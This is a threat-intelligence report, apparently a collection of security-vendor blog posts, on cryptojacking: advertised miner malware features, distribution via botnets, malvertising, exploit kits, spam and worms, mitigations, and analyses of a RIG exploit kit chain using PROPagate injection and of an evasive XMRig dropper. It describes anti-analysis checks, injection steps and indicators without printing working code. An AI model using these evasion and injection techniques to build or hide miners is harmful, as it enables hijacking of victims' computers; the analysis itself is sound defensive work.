  • Support (for €20/month)
  • Kills other miners from list
  • Hidden from TaskManager
  • Configurable pool, coin, and wallet (via panel)
  • Can mine the following Cryptonight-based coins:
    • Monero
    • Bytecoin
    • Electroneum
    • DigitalNote
    • Karbowanec
    • Sumokoin
    • Fantomcoin
    • Dinastycoin
    • Dashcoin
    • LeviarCoin
    • BipCoin
    • QuazarCoin
    • Bitcedi

Linux Build Specifics

  • Issues running on Linux servers (higher performance on desktop OS)
  • Compatible with AMD64 processors on Ubuntu, Debian, Mint (support for CentOS later)


Figure 7: Miner bot web panel

Sample Advertisement #5 (Miner + USB Spreader + DDoS Tool)

In August 2017, actor "MeatyBanana" was observed by FireEye iSIGHT Intelligence selling a Monero miner utility that included the ability to download and execute files and perform DDoS attacks. The actor offered the software for $30 USD, payable via Bitcoin. Ostensibly, the tool works with CPUs only and offers the following features:

  • Configurable miner pool and port (default to minergate)
  • Compatible with both 64- and 86-bit Windows OS
  • Hides from the following popular task managers:
  • Windows Task Manager
  • Process Killer
  • KillProcess
  • System Explorer
  • Process Explorer
  • AnVir
  • Process Hacker
  • Masked as a system driver
  • Does not require administrator privileges
  • No dependencies
  • Registry persistence mechanism
  • Ability to perform "tasks" (download and execute files, navigate to a site, and perform DDoS)
  • USB spreader
  • Support after purchase

The Cost of Cryptojacking

The presence of mining software on a network can generate costs on three fronts as the miner surreptitiously allocates resources:

  1. Degradation in system performance
  2. Increased cost in electricity
  3. Potential exposure of security holes

Cryptojacking targets computer processing power, which can lead to high CPU load and degraded performance. In extreme cases, CPU overload may even cause the operating system to crash. Infected machines may also attempt to infect neighboring machines and therefore generate large amounts of traffic that can overload victims' computer networks.

In the case of operational technology (OT) networks, the consequences could be severe. Supervisory control and data acquisition/industrial control systems (SCADA/ICS) environments predominately rely on decades-old hardware and low-bandwidth networks, therefore even a slight increase in CPU load or the network could leave industrial infrastructures unresponsive, impeding operators from interacting with the controlled process in real-time.

The electricity cost, measured in kilowatt hour (kWh), is dependent upon several factors: how often the malicious miner software is configured to run, how many threads it's configured to use while running, and the number of machines mining on the victim's network. The cost per kWh is also highly variable and depends on geolocation. For example, security researchers who ran Coinhive on a machine for 24 hours found that the electrical consumption was 1.212kWh. They estimated that this equated to electrical costs per month of $10.50 USD in the United States, $5.45 USD in Singapore, and $12.30 USD in Germany.

Cryptojacking can also highlight often overlooked security holes in a company's network. Organizations infected with cryptomining malware are also likely vulnerable to more severe exploits and attacks, ranging from ransomware to ICS-specific malware such as TRITON.

Cryptocurrency Miner Distribution Techniques

In order to maximize profits, cyber criminals widely disseminate their miners using various techniques such as incorporating cryptojacking modules into existing botnets, drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, and distributing cryptojacking utilities via spam and self-propagating utilities. Threat actors can use cryptojacking to affect numerous devices and secretly siphon their computing power. Some of the most commonly observed devices targeted by these cryptojacking schemes are:

  • User endpoint machines
  • Enterprise servers
  • Websites
  • Mobile devices
  • Industrial control systems
Cryptojacking in the Cloud

Private sector companies and governments alike are increasingly moving their data and applications to the cloud, and cyber threat groups have been moving with them. Recently, there have been various reports of actors conducting cryptocurrency mining operations specifically targeting cloud infrastructure. Cloud infrastructure is increasingly a target for cryptojacking operations because it offers actors an attack surface with large amounts of processing power in an environment where CPU usage and electricity costs are already expected to be high, thus allowing their operations to potentially go unnoticed. We assess with high confidence that threat actors will continue to target enterprise cloud networks in efforts to harness their collective computational resources for the foreseeable future.

The following are some real-world examples of cryptojacking in the cloud:

  • In February 2018, FireEye researchers published a blog detailing various techniques actors used in order to deliver malicious miner payloads (specifically to vulnerable Oracle servers) by abusing CVE-2017-10271. Refer to our blog post for more detailed information regarding the post-exploitation and pre-mining dissemination techniques used in those campaigns.
  • In March 2018, Bleeping Computer reported on the trend of cryptocurrency mining campaigns moving to the cloud via vulnerable Docker and Kubernetes applications, which are two software tools used by developers to help scale a company's cloud infrastructure. In most cases, successful attacks occur due to misconfigured applications and/or weak security controls and passwords.
  • In February 2018, Bleeping Computer also reported on hackers who breached Tesla's cloud servers to mine Monero. Attackers identified a Kubernetes console that was not password protected, allowing them to discover login credentials for the broader Tesla Amazon Web services (AWS) S3 cloud environment. Once the attackers gained access to the AWS environment via the harvested credentials, they effectively launched their cryptojacking operations.
  • Reports of cryptojacking activity due to misconfigured AWS S3 cloud storage buckets have also been observed, as was the case in the LA Times online compromise in February 2018. The presence of vulnerable AWS S3 buckets allows anyone on the internet to access and change hosted content, including the ability to inject mining scripts or other malicious software.
Incorporation of Cryptojacking into Existing Botnets

FireEye iSIGHT Intelligence has observed multiple prominent botnets such as Dridex and Trickbot incorporate cryptocurrency mining into their existing operations. Many of these families are modular in nature and have the ability to download and execute remote files, thus allowing the operators to easily turn their infections into cryptojacking bots. While these operations have traditionally been aimed at credential theft (particularly of banking credentials), adding mining modules or downloading secondary mining payloads provides the operators another avenue to generate additional revenue with little effort. This is especially true in cases where the victims were deemed unprofitable or have already been exploited in the original scheme.

The following are some real-world examples of cryptojacking being incorporated into existing botnets:

  • In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.
  • On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs. The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.
  • In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.
  • In late 2017, FireEye researchers observed Trickbot operators deploy a new module named "testWormDLL" that is a statically compiled copy of the popular XMRig Monero miner.
  • On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module. According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server.

Drive-By Cryptojacking

In-Browser

FireEye iSIGHT Intelligence has examined various customer reports of browser-based cryptocurrency mining. Browser-based mining scripts have been observed on compromised websites, third-party advertising platforms, and have been legitimately placed on websites by publishers. While coin mining scripts can be embedded directly into a webpage's source code, they are frequently loaded from third-party websites. Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers, such as in the case of a compromised website. Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors. At the time of reporting, the most popular script being deployed in the wild is Coinhive. Coinhive is an open-source JavaScript library that, when loaded on a vulnerable website, can mine Monero using the site visitor's CPU resources, unbeknownst to the user, as they browse the site.

The following are some real-world examples of Coinhive being deployed in the wild:

  • In September 2017, Bleeping Computer reported that the authors of SafeBrowse, a Chrome extension with more than 140,000 users, had embedded the Coinhive script in the extension's code that allowed for the mining of Monero using users' computers and without getting their consent.
  • During mid-September 2017, users on Reddit began complaining about increased CPU usage when they navigated to a popular torrent site, The Pirate Bay (TPB). The spike in CPU usage was a result of Coinhive's script being embedded within the site's footer. According to TPB operators, it was implemented as a test to generate passive revenue for the site (Figure 8).
  • In December 2017, researchers with Sucuri reported on the presence of the Coinhive script being hosted on GitHub.io, which allows users to publish web pages directly from GitHub repositories.
  • Other reporting disclosed the Coinhive script being embedded on the Showtime domain as well as on the LA Times website, both surreptitiously mining Monero.
  • A majority of in-browser cryptojacking activity is transitory in nature and will last only as long as the user’s web browser is open. However, researchers with Malwarebytes Labs uncovered a technique that allows for continued mining activity even after the browser window is closed. The technique leverages a pop-under window surreptitiously hidden under the taskbar. As researchers pointed out, closing the browser window may not be enough to interrupt the activity, and that more advanced actions like running the Task Manager may be required.


Figure 8: Statement from TPB operators on Coinhive script

Malvertising and Exploit Kits

Malvertisements – malicious ads on legitimate websites – commonly redirect visitors of a site to an exploit kit landing page. These landing pages are designed to scan a system for vulnerabilities, exploit those vulnerabilities, and download and execute malicious code onto the system. Notably, the malicious advertisements can be placed on legitimate sites and visitors can become infected with little to no user interaction. This distribution tactic is commonly used by threat actors to widely distribute malware and has been employed in various cryptocurrency mining operations.

The following are some real-world examples of this activity:

  • In early 2018, researchers with Trend Micro reported that a modified miner script was being disseminated across YouTube via Google's DoubleClick ad delivery platform. The script was configured to generate a random number variable between 1 and 100, and when the variable was above 10 it would launch the Coinhive script coinhive.min.js, which harnessed 80 percent of the CPU power to mine Monero. When the variable was below 10 it launched a modified Coinhive script that was also configured to harness 80 percent CPU power to mine Monero. This custom miner connected to the mining pool wss[:]//ws[.]l33tsite[.]info:8443, which was likely done to avoid Coinhive's fees.
  • In April 2018, researchers with Trend Micro also discovered a JavaScript code based on Coinhive injected into an AOL ad platform. The miner used the following private mining pools: wss[:]//wsX[.]www.datasecu[.]download/proxy and wss[:]//www[.]jqcdn[.]download:8893/proxy. Examination of other sites compromised by this campaign showed that in at least some cases the operators were hosting malicious content on unsecured AWS S3 buckets.
  • Since July 16, 2017, FireEye has observed the Neptune Exploit Kit redirect to ads for hiking clubs and MP3 converter domains. Payloads associated with the latter include Monero CPU miners that are surreptitiously installed on victims' computers.
  • In January 2018, Check Point researchers discovered a malvertising campaign leading to the Rig Exploit Kit, which served the XMRig Monero miner utility to unsuspecting victims.

Mobile Cryptojacking

In addition to targeting enterprise servers and user machines, threat actors have also targeted mobile devices for cryptojacking operations. While this technique is less common, likely due to the limited processing power afforded by mobile devices, cryptojacking on mobile devices remains a threat as sustained power consumption can damage the device and dramatically shorten the battery life. Threat actors have been observed targeting mobile devices by hosting malicious cryptojacking apps on popular app stores and through drive-by malvertising campaigns that identify users of mobile browsers.

The following are some real-world examples of mobile devices being used for cryptojacking:

  • During 2014, FireEye iSIGHT Intelligence reported on multiple Android malware apps capable of mining cryptocurrency:
    • In March 2014, Android malware named "CoinKrypt" was discovered, which mined Litecoin, Dogecoin, and CasinoCoin currencies.
    • In March 2014, another form of Android malware – "Android.Trojan.MuchSad.A" or "ANDROIDOS_KAGECOIN.HBT" – was observed mining Bitcoin, Litecoin, and Dogecoin currencies. The malware was disguised as copies of popular applications, including "Football Manager Handheld" and "TuneIn Radio." Variants of this malware have reportedly been downloaded by millions of Google Play users.
    • In April 2014, Android malware named "BadLepricon," which mined Bitcoin, was identified. The malware was reportedly being bundled into wallpaper applications hosted on the Google Play store, at least several of which received 100 to 500 installations before being removed.
    • In October 2014, a type of mobile malware called "Android Slave" was observed in China; the malware was reportedly capable of mining multiple virtual currencies.
  • In December 2017, researchers with Kaspersky Labs reported on a new multi-faceted Android malware capable of a variety of actions including mining cryptocurrencies and launching DDoS attacks. The resource load created by the malware has reportedly been high enough that it can cause the battery to bulge and physically destroy the device. The malware, dubbed Loapi, is unique in the breadth of its potential actions. It has a modular framework that includes modules for malicious advertising, texting, web crawling, Monero mining, and other activities. Loapi is thought to be the work of the same developers behind the 2015 Android malware Podec, and is usually disguised as an anti-virus app.
  • In January 2018, SophosLabs released a report detailing their discovery of 19 mobile apps hosted on Google Play that contained embedded Coinhive-based cryptojacking code, some of which were downloaded anywhere from 100,000 to 500,000 times.
  • Between November 2017 and January 2018, researchers with Malwarebytes Labs reported on a drive-by cryptojacking campaign that affected millions of Android mobile browsers to mine Monero.

Cryptojacking Spam Campaigns

FireEye iSIGHT Intelligence has observed several cryptocurrency miners distributed via spam campaigns, which is a commonly used tactic to indiscriminately distribute malware. We expect malicious actors will continue to use this method to disseminate cryptojacking code as for long as cryptocurrency mining remains profitable.

In late November 2017, FireEye researchers identified a spam campaign delivering a malicious PDF attachment designed to appear as a legitimate invoice from the largest port and container service in New Zealand: Lyttelton Port of Chistchurch (Figure 9). Once opened, the PDF would launch a PowerShell script that downloaded a Monero miner from a remote host. The malicious miner connected to the pools supportxmr.com and nanopool.org.


Figure 9: Sample lure attachment (PDF) that downloads malicious cryptocurrency miner

Additionally, a massive cryptojacking spam campaign was discovered by FireEye researchers during January 2018 that was designed to look like legitimate financial services-related emails. The spam email directed victims to an infection link that ultimately dropped a malicious ZIP file onto the victim's machine. Contained within the ZIP file was a cryptocurrency miner utility (MD5: 80b8a2d705d5b21718a6e6efe531d493) configured to mine Monero and connect to the minergate.com pool. While each of the spam email lures and associated ZIP filenames were different, the same cryptocurrency miner sample was dropped across all observed instances (Table 2).

ZIP Filenames

california_540_tax_form_2013_instructions.exe

state_bank_of_india_money_transfer_agency.exe

format_transfer_sms_banking_bni_ke_bca.exe

confirmation_receipt_letter_sample.exe

sbi_online_apply_2015_po.exe

estimated_tax_payment_coupon_irs.exe

how_to_add_a_non_us_bank_account_to_paypal.exe

western_union_money_transfer_from_uk_to_bangladesh.exe

can_i_transfer_money_from_bank_of_ireland_to_aib_online.exe

how_to_open_a_business_bank_account_with_bad_credit_history.exe

apply_for_sbi_credit_card_online.exe

list_of_lucky_winners_in_dda_housing_scheme_2014.exe

Table 2: Sampling of observed ZIP filenames delivering cryptocurrency miner

Cryptojacking Worms

Following the WannaCry attacks, actors began to increasingly incorporate self-propagating functionality within their malware. Some of the observed self-spreading techniques have included copying to removable drives, brute forcing SSH logins, and leveraging the leaked NSA exploit EternalBlue. Cryptocurrency mining operations significantly benefit from this functionality since wider distribution of the malware multiplies the amount of CPU resources available to them for mining. Consequently, we expect that additional actors will continue to develop this capability.

The following are some real-world examples of cryptojacking worms:

  • In May 2017, Proofpoint reported a large campaign distributing mining malware "Adylkuzz." This cryptocurrency miner was observed leveraging the EternalBlue exploit to rapidly spread itself over corporate LANs and wireless networks. This activity included the use of the DoublePulsar backdoor to download Adylkuzz. Adylkuzz infections create botnets of Windows computers that focus on mining Monero.
  • Security researchers with Sensors identified a Monero miner worm, dubbed "Rarogminer," in April 2018 that would copy itself to removable drives each time a user inserted a flash drive or external HDD.
  • In January 2018, researchers at F5 discovered a new Monero cryptomining botnet that targets Linux machines. PyCryptoMiner is based on Python script and spreads via the SSH protocol. The bot can also use Pastebin for its command and control (C2) infrastructure. The malware spreads by trying to guess the SSH login credentials of target Linux systems. Once that is achieved, the bot deploys a simple base64-encoded Python script that connects to the C2 server to download and execute more malicious Python code.

Detection Avoidance Methods

Another trend worth noting is the use of proxies to avoid detection. The implementation of mining proxies presents an attractive option for cyber criminals because it allows them to avoid developer and commission fees of 30 percent or more. Avoiding the use of common cryptojacking services such as Coinhive, Cryptloot, and Deepminer, and instead hosting cryptojacking scripts on actor-controlled infrastructure, can circumvent many of the common strategies taken to block this activity via domain or file name blacklisting.

In March 2018, Bleeping Computer reported on the use of cryptojacking proxy servers and determined that as the use of cryptojacking proxy services increases, the effectiveness of ad blockers and browser extensions that rely on blacklists decreases significantly.

Several mining proxy tools can be found on GitHub, such as the XMRig Proxy tool, which greatly reduces the number of active pool connections, and the CoinHive Stratum Mining Proxy, which uses Coinhive’s JavaScript mining library to provide an alternative to using official Coinhive scripts and infrastructure.

In addition to using proxies, actors may also establish their own self-hosted miner apps, either on private servers or cloud-based servers that supports Node.js. Although private servers may provide some benefit over using a commercial mining service, they are still subject to easy blacklisting and require more operational effort to maintain. According to Sucuri researchers, cloud-based servers provide many benefits to actors looking to host their own mining applications, including:

  • Available free or at low-cost
  • No maintenance, just upload the crypto-miner app
  • Harder to block as blacklisting the host address could potentially impact access to legitimate services
  • Resilient to permanent takedown as new hosting accounts can more easily be created using disposable accounts

The combination of proxies and crypto-miners hosted on actor-controlled cloud infrastructure presents a significant hurdle to security professionals, as both make cryptojacking operations more difficult to detect and take down.

Mining Victim Demographics

Based on data from FireEye detection technologies, the detection of cryptocurrency miner malware has increased significantly since the beginning of 2018 (Figure 10), with the most popular mining pools being minergate and nanopool (Figure 11), and the most heavily affected country being the U.S. (Figure 12). Consistent with other reporting, the education sector remains most affected, likely due to more relaxed security controls across university networks and students taking advantage of free electricity to mine cryptocurrencies (Figure 13).


Figure 10: Cryptocurrency miner detection activity per month


Figure 11: Commonly observed pools and associated ports


Figure 12: Top 10 affected countries


Figure 13: Top five affected industries


Figure 14: Top affected industries by country

Mitigation Techniques

Unencrypted Stratum Sessions

According to security researchers at Cato Networks, in order for a miner to participate in pool mining, the infected machine will have to run native or JavaScript-based code that uses the Stratum protocol over TCP or HTTP/S. The Stratum protocol uses a publish/subscribe architecture where clients will send subscription requests to join a pool and servers will send messages (publish) to its subscribed clients. These messages are simple, readable, JSON-RPC messages. Subscription requests will include the following entities: id, method, and params (Figure 15). A deep packet inspection (DPI) engine can be configured to look for these parameters in order to block Stratum over unencrypted TCP.


Figure 15: Stratum subscription request parameters

Encrypted Stratum Sessions

In the case of JavaScript-based miners running Stratum over HTTPS, detection is more difficult for DPI engines that do not decrypt TLS traffic. To mitigate encrypted mining traffic on a network, organizations may blacklist the IP addresses and domains of popular mining pools. However, the downside to this is identifying and updating the blacklist, as locating a reliable and continually updated list of popular mining pools can prove difficult and time consuming.

Browser-Based Sessions

Identifying and detecting websites that have embedded coin mining code can be difficult since not all coin mining scripts are authorized by website publishers (as in the case of a compromised website). Further, in cases where coin mining scripts were authorized by a website owner, they are not always clearly communicated to site visitors.

As defenses evolve to prevent unauthorized coin mining activities, so will the techniques used by actors; however, blocking some of the most common indicators that we have observed to date may be effective in combatting a significant amount of the CPU-draining mining activities that customers have reported. Generic detection strategies for browser-based cryptocurrency mining include:

  • Blocking domains known to have hosted coin mining scripts
  • Blocking websites of known mining project websites, such as Coinhive
  • Blocking scripts altogether
  • Using an ad-blocker or coin mining-specific browser add-ons
  • Detecting commonly used naming conventions
  • Alerting and blocking traffic destined for known popular mining pools

Some of these detection strategies may also be of use in blocking some mining functionality included in existing financial malware as well as mining-specific malware families.

It is important to note that JavaScript used in browser-based cryptojacking activity cannot access files on disk. However, if a host has inadvertently navigated to a website hosting mining scripts, we recommend purging cache and other browser data.

Outlook

In underground communities and marketplaces there has been significant interest in cryptojacking operations, and numerous campaigns have been observed and reported by security researchers. These developments demonstrate the continued upward trend of threat actors conducting cryptocurrency mining operations, which we expect to see a continued focus on throughout 2018. Notably, malicious cryptocurrency mining may be seen as preferable due to the perception that it does not attract as much attention from law enforcement as compared to other forms of fraud or theft. Further, victims may not realize their computer is infected beyond a slowdown in system performance.

Due to its inherent privacy-focused features and CPU-mining profitability, Monero has become one of the most attractive cryptocurrency options for cyber criminals. We believe that it will continue to be threat actors' primary cryptocurrency of choice, so long as the Monero blockchain maintains privacy-focused standards and is ASIC-resistant. If in the future the Monero protocol ever downgrades its security and privacy-focused features, then we assess with high confidence that threat actors will move to use another privacy-focused coin as an alternative.

Because of the anonymity associated with the Monero cryptocurrency and electronic wallets, as well as the availability of numerous cryptocurrency exchanges and tumblers, attribution of malicious cryptocurrency mining is very challenging for authorities, and malicious actors behind such operations typically remain unidentified. Threat actors will undoubtedly continue to demonstrate high interest in malicious cryptomining so long as it remains profitable and relatively low risk.

RIG Exploit Kit Delivering Monero Miner Via PROPagate Injection Technique

Introduction

Through FireEye Dynamic Threat Intelligence (DTI), we observed RIG Exploit Kit (EK) delivering a dropper that leverages the PROPagate injection technique to inject code that downloads and executes a Monero miner (similar activity has been reported by Trend Micro). Apart from leveraging a relatively lesser known injection technique, the attack chain has some other interesting properties that we will touch on in this blog post.

Attack Chain

The attack chain starts when the user visits a compromised website that loads the RIG EK landing page in an iframe. The RIG EK uses various techniques to deliver the NSIS (Nullsoft Scriptable Install System) loader, which leverages the PROPagate injection technique to inject shellcode into explorer.exe. This shellcode executes the next payload, which downloads and executes the Monero miner. The flow chart for the attack chain is shown in Figure 1.


Figure 1: Attack chain flow chart

Exploit Kit Analysis

When the user visits a compromised site that is injected with an iframe, the iframe loads the landing page. The iframe injected into a compromised website is shown in Figure 2.


Figure 2: Injected iframe

The landing page contains three different JavaScripts snippets, each of which uses a different technique to deliver the payload. Each of these are not new techniques, so we will only be giving a brief overview of each one in this post.

JavaScript 1

The first JavaScript has a function, fa, which returns a VBScript that will be executed using the execScript function, as shown by the code in Figure 3.


Figure 3: JavaScript 1 code snippet

The VBScript exploits CVE-2016-0189 which allows it to download the payload and execute it using the code snippet seen in Figure 4.


Figure 4: VBScript code snippet

JavaScript 2

The second JavaScript contains a function that will retrieve additional JavaScript code and append this script code to the HTML page using the code snippet seen in Figure 5.


Figure 5: JavaScript 2 code snippet

This newly appended JavaScript exploits CVE-2015-2419 which utilizes a vulnerability in JSON.stringify. This script obfuscates the call to JSON.stringify by storing pieces of the exploit in the variables shown in Figure 6.


Figure 6: Obfuscation using variables

Using these variables, the JavaScript calls JSON.stringify with malformed parameters in order to trigger CVE-2015-2419 which in turn will cause native code execution, as shown in Figure 7.


Figure 7: Call to JSON.Stringify

JavaScript 3

The third JavaScript has code that adds additional JavaScript, similar to the second JavaScript. This additional JavaScript adds a flash object that exploits CVE-2018-4878, as shown in Figure 8.


Figure 8: JavaScript 3 code snippet

Once the exploitation is successful, the shellcode invokes a command line to create a JavaScript file with filename u32.tmp, as shown in Figure 9.


Figure 9: WScript command line

This JavaScript file is launched using WScript, which downloads the next-stage payload and executes it using the command line in Figure 10.


Figure 10: Malicious command line

Payload Analysis

For this attack, the actor has used multiple payloads and anti-analysis techniques to bypass the analysis environment. Figure 11 shows the complete malware activity flow chart.


Figure 11: Malware activity flow chart

Analysis of NSIS Loader (SmokeLoader)

The first payload dropped by the RIG EK is a compiled NSIS executable famously known as SmokeLoader. Apart from NSIS files, the payload has two components: a DLL, and a data file (named ‘kumar.dll’ and ‘abaram.dat’ in our analysis case). The DLL has an export function that is invoked by the NSIS executable. This export function has code to read and decrypt the data file, which yields the second stage payload (a portable executable file).

The DLL then spawns itself (dropper) in SUSPENDED_MODE and injects the decrypted PE using process hollowing.

Analysis of Injected Code (Second Stage Payload)

The second stage payload is a highly obfuscated executable. It consists of a routine that decrypts a chunk of code, executes it, and re-encrypts it.

At the entry point, the executable contains code that checks the OS major version, which it extracts from the Process Environment Block (PEB). If the OS version value is less than 6 (prior to Windows Vista), the executable terminates itself. It also contains code that checks whether the executable is in debugged mode, which it extracts from offset 0x2 of the PEB. If the BeingDebugged flag is set, the executable terminates itself.

The malware also implements an Anti-VM check by opening the registry key HKLM\SYSTEM\ControlSet001\Services\Disk\Enum with value 0.

It checks whether the registry value data contains any of the strings: vmware, virtual, qemu, or xen.  Each of these strings is indictative of virtual machines

After running the anti-analysis and environment check, the malware starts executing the core code to perform the malicious activity.

The malware uses the PROPagate injection method to inject and execute the code in a targeted process. The PROPagate method is similar to the SetWindowLong injection technique. In this method, the malware uses the SetPropA function to modify the callback for UxSubclassInfo and cause the remote process to execute the malicious code.

This code injection technique only works for a process with lesser or equal integrity level. The malware first checks whether the integrity of the current running process is medium integrity level (2000, SECURITY_MANDATORY_MEDIUM_RID). Figure 12 shows the code snippet.


Figure 12: Checking integrity level of current process

If the process is higher than medium integrity level, then the malware proceeds further. If the process is lower than medium integrity level, the malware respawns itself with medium integrity.

The malware creates a file mapping object and writes the dropper file path to it and the same mapping object is accessed by injected code, to read the dropper file path and delete the dropper file. The name of the mapping object is derived from the volume serial number of the system drive and a XOR operation with the hardcoded value (Figure 13).

File Mapping Object Name = “Volume Serial Number” + “Volume Serial Number” XOR 0x7E766791


Figure 13: Creating file mapping object name

The malware then decrypts the third stage payload using XOR and decompresses it with RTLDecompressBuffer. The third stage payload is also a PE executable, but the author has modified the header of the file to avoid it being detected as a PE file in memory scanning. After modifying several header fields at the start of decrypted data, we can get the proper executable header (Figure 14).


Figure 14: Injected executable without header (left), and with header (right)

After decrypting the payload, the malware targets the shell process, explorer.exe, for malicious code injection. It uses GetShellWindow and GetWindowThreadProcessId APIs to get the shell window’s thread ID (Figure 15).


Figure 15: Getting shell window thread ID

The malware injects and maps the decrypted PE in a remote process (explorer.exe). It also injects shellcode that is configured as a callback function in SetPropA.

After injecting the payload into the target process, it uses EnumChild and EnumProps functions to enumerate all entries in the property list of the shell window and compares it with UxSubclassInfo

After finding the UxSubclassInfo property of the shell window, it saves the handle info and uses it to set the callback function through SetPropA.

SetPropA has three arguments, the third of which is data. The callback procedure address is stored at the offset 0x14 from the beginning of data. Malware modifies the callback address with the injected shellcode address (Figure 16).


Figure 16: Modifying callback function

The malware then sends a specific message to the window to execute the callback procedure corresponding to the UxSubclassInfo property, which leads to the execution of the shellcode.

The shellcode contains code to execute the address of the entry point of the injected third stage payload using CreateThread. It then resets the callback for SetPropA, which was modified by malware during PROPagate injection. Figure 17 shows the code snippet of the injected shellcode.


Figure 17: Assembly view of injected shellcode

Analysis of Third Stage Payload

Before executing the malicious code, the malware performs anti-analysis checks to make sure no analysis tool is running in the system. It creates two infinitely running threads that contain code to implement anti-analysis checks.

The first thread enumerates the processes using CreateToolhelp32Snapshot and checks for the process names generally used in analysis. It generates a DWORD hash value from the process name using a custom operation and compares it with the array of hardcoded DWORD values. If the generated value matches any value in the array, it terminates the corresponding process.

The second thread enumerates the windows using EnumWindows. It uses GetClassNameA function to extract the class name associated with the corresponding window. Like the first thread, it generates a DWORD hash value from the class name using a custom operation and compares it with the array of hardcoded DWORD values. If the generated value matches any value in the array, it terminates the process related to the corresponding window.

Other than these two anti-analysis techniques, it also has code to check the internet connectivity by trying to reach the URL: www.msftncsi[.]com/ncsi.txt.

To remain persistent in the system, the malware installs a scheduled task and a shortcut file in %startup% folder. The scheduled task is named “Opera Scheduled Autoupdate {Decimal Value of GetTickCount()}”.

The malware then communicates with the malicious URL to download the final payload, which is a Monero miner. It creates a MD5 hash value using Microsoft CryptoAPIs from the computer name and the volume information and sends the hash to the server in a POST request. Figure 18 shows the network communication.


Figure 18: Network communication

The malware then downloads the final payload, the Monero miner, from the server and installs it in the system.

Conclusion

Although we have been observing a decline in Exploit Kit activity, attackers are not abandoning them altogether. In this blog post, we explored how RIG EK is being used with various exploits to compromise endpoints. We have also shown how the NSIS Loader leverages the lesser known PROPagate process injection technique, possibly in an attempt to evade security products.

FireEye MVX and the FireEye Endpoint Security (HX) platform detect this attack at several stages of the attack chain.

Acknowledgement

We would like to thank Sudeep Singh and Alex Berry for their contributions to this blog post.

Evasive Monero Miners: Deserting the Sandbox for Profit

Authored by: Alexander Sevtsov
Edited by: Stefano Ortolani

Introduction

It’s not news that the cryptocurrency industry is on the rise. Mining crypto coins offers to anybody a lucrative way to exchange computation resources for profit: every time a miner guesses the solution of a complex mathematical puzzle, he is awarded with a newly minted crypto coin. While some cryptocurrencies are based on puzzles that are efficiently solved by special-purpose devices (such as Bitcoin on ASICs), others are still mined successfully on commodity hardware.

One, in particular, is the Monero (XMR) cryptocurrency. Besides being efficiently mined on standard CPUs and GPUs, it is also anonymous, or fungible to use the precise Monero term. This means that while it is easy to trace transactions between several Bitcoin wallets, a complex system relying on ring signatures ensures that Monero transactions are difficult if not impossible to trace, effectively hiding the origin of a transaction. Because of this, it should come as no surprise that the Monero cryptocurrency is also used for nefarious purposes, often mined by rogue javascripts or binaries downloaded onto and running on an unsuspecting user’s system.

Recent statistics show that 5% of all Monero coins are mined by malware. While the security industry is responding to this cryptojacking phenomenon by introducing new improved detection techniques, developers of these binaries began to replicate the modus operandi of ransomware samples: they started embedding anti-analysis techniques to evade detection as long as possible. In this blog article, we highlight some of our findings when analyzing a variant of the XMRig miner, and share insights about some evasion tricks used to bypass dynamic analysis systems.

Dropper

The sample (sha1: d86c1606094bc9362410a1076e29ac68ae98f972) is an obfuscated .Net application that uses a simple crypter to load an embedded executable at runtime using the Assembly.Load method. The following XOR key is used for its decryption:

50 F5 96 DF F0 61 77 42 39 43 FE 30 81 95 6F AF

Execution is later transferred via the EntryPoint.Invoke method to its entry point, after which another binary resource is decrypted. Figure 1 shows the encryption (AES-256) and the key derivation (PBKDF2) algorithms used to decrypt the binary.

Figure 1. AES decryption routine of the embedded file; note the PBKDF2 key

Figure 1. AES decryption routine of the embedded file; note the PBKDF2 key derivation.

The decrypted data consists of yet another executable. We can see it in Figure 2 surrounded by some strings already giving away some of the functionalities included (in particular, note the CheckSandbox and CheckVM strings, most likely indicating routines used to detect whether the sample is run inside an analysis environment).

Figure 2. Decrypted binary blob with an embedded executable file.

Figure 2. Decrypted binary blob with an embedded executable file.

As the reader can imagine, we are always interested in discovering novel evasion techniques. With piqued curiosity, we decided to dive into the code a bit further.

Payload

After peeling off all encryption layers, we finally reached the unpacked payload (see Figure 3). As expected, we found quite a number of anti-analysis techniques.

Figure 3. The unpacked payload

Figure 3. The unpacked payload (sha1: 43f84e789710b06b2ab49b47577caf9d22fd45f8) as found in VT.

The most classic trick (shown in Figure 4) merely checked for known anti-analysis processes. For example, Process Explorer, Process Monitor, etc., are all tools used to better understand which processes are running, how they are spawned, and how much CPU resources are consumed by each executing thread. This is a pretty standard technique to hide from such monitoring tools, and it has been used by other crypto miners as well. As we will see, others were a bit more exotic.

Figure 4. Detecting known process monitoring tools

Figure 4. Detecting known process monitoring tools via GetWindowTextW.

Evasion Technique – Lack of User Input

This technique specifically targets dynamic analysis systems. It tries to detect whether it is executing on a real host by measuring the amount of input received by the operating system. Admittedly, this is not that rare, and we indeed covered it before in a previous article describing some evasion techniques as used by ransomware.

Figure 5. Detecting sandbox by checking the last user input

Figure 5. Detecting sandbox by checking the last user input via GetLastInputInfo.

Figure 5 shows the logic in more details: the code measures the time interval between two subsequent inputs. Anything longer than one minute is considered an indicator that the binary is running inside a sandbox. Note that besides being prone to false positives, this technique can easily be circumvented simulating random user interactions.

Evasion Technique – Multicast IcmpSendEcho

The second anti-analysis technique that we investigated delays the execution via the IcmpCreateFile and IcmpSendEcho APIs. As it is further detailed in Figure 6, they are used to ping a reserved multicast address (224.0.0.0) with a timeout of 30 seconds. Ideally, as no answer is meant to be returned (interestingly enough we have knowledge of some devices erroneously replying to those ICMP packets), the IcmpSendEcho API has the side effect of pausing the executing thread for 30 seconds.

Figure 6. Delaying the execution via IcmpSendEcho API.

Figure 6. Delaying the execution via IcmpSendEcho API.

